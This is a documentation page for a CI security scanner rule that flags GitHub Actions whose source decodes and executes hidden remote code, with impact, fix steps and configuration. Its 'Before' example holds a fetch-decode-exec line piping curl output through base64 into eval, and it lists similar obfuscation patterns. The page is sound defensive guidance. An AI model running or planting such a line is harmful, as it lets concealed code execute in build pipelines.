Skip to main content
ISSUE-715CriticalMediumCLIThird-party actions

Action obfuscates a remote code fetch/exec

Control: Actions must not execute mutable remote code· Config key: actionsMustNotExecuteMutableRemoteCode

📋 What is this?

A third-party action's own source decodes and then executes code — base64 -d | sh, eval "$(… | base64 -d)", eval(atob(…)), new Function(atob(x)), a hex/xxd decode piped to a shell, and similar. The command that actually runs is hidden until runtime.

⚠️ Impact

No legitimate action needs to hide what it runs at runtime, so decode-then-execute is treated as the strongest signal regardless of the host, ref, or encoding used. It is the shape used to smuggle a fetch-and-run past both a SHA pin and a human reviewer.

🔧 How to fix

Remove the obfuscation. If the action is a dependency, drop or vendor it and replace the hidden fetch with an explicit, pinned, checksum-verified install. An action that must decode data at runtime should never feed that decoded value into a shell or eval.

✗ BeforeThe action decodes a downloaded blob and executes it — the real command stays hidden until runtime.
# action.yml (inside the third-party action): ❌ hides what it runs
runs:
using: composite
steps:
- shell: bash
run: eval "$(curl -sSL https://example.com/p | base64 -d)"
# ^ the payload is decoded at runtime, so neither a SHA pin nor
# a reviewer sees the command that actually executes
✓ AfterThe download is explicit, pinned to a release, and checksum-verified before it runs.
# action.yml: ✅ explicit, pinned, verified
runs:
using: composite
steps:
- shell: bash
run: |
curl -sSL -o tool https://example.com/releases/v1.2.3/tool
echo "EXPECTED_SHA256 tool" | sha256sum -c -
./tool

💡 Tips

  • This deliberately does not chase every possible encoding — it flags the act of hiding, which is what makes a clean result meaningful.
  • Because hiding is the signal, this fires regardless of whether the fetched ref is a branch, tag, or SHA.

⚙️ Configuration

This control is configured in .plumber.yaml under the github section:

github:
  controls:
    actionsMustNotExecuteMutableRemoteCode:
      enabled: true

See the CLI documentation for the full configuration reference.